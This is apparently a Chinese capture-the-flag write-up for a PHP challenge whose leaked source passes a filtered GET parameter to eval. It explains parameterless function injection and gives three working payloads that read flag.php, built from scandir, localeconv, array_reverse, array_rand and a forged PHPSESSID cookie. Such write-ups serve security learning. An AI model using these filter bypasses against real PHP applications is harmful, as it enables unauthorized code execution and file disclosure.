
emm
扫描
git泄露
githack直接拿到源码
<?php include "flag.php"; echo "flag在哪里呢?<br>"; if(isset($_GET['exp'])){ if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) { if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) { if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) { // echo $_GET['exp']; @eval($_GET['exp']); } else{ die("还差一点哦!"); } } else{ die("再好好想想!"); } } else{ die("还想读flag,臭弟弟!"); } } // highlight_file(__FILE__); ?>
|
就是说禁止了伪协议和很多杂七杂八的东西对吧
但是是要使用伪协议类似的东西看flag的话
我只知道有可能是无参数注入
?exp=show_source(next(array_reverse(scandir(pos(localeconv())))));
|
无参数注入
`scandir('.')`这个函数的作用是扫描当前目录 `localeconv()`函数返回一包含本地数字及货币格式信息的数组。而数组第一项就是`.` `pos()/current()`函数返回数组第一个值 `array_reverse()`是将数组颠倒 `next()`将数组指针一项下一位 `show_source()`的意思是读取函数内容
|
三种读取方法
方法一
使用使上述文件数组反转后取next位即flag.php。然后读取文件
构造exp=show_source(next(array_reverse(scandir(pos(localeconv())))));
方法二
同上述方法,但方法一有局限性,只能得到数组的第二位或者倒数第二位。其他情况可以使用随机返回键名的方法(刷新几次就可以得到)
exp=show_source(array_rand(array_flip(scandir(pos(localeconv())))));
方法三
session_start(): 告诉PHP使用session; session_id(): 获取到当前的session_id值; 手动设置cookie中PHPSESSID=flag.php; 所以可以构造exp=show_source(session_id(session_start()));
|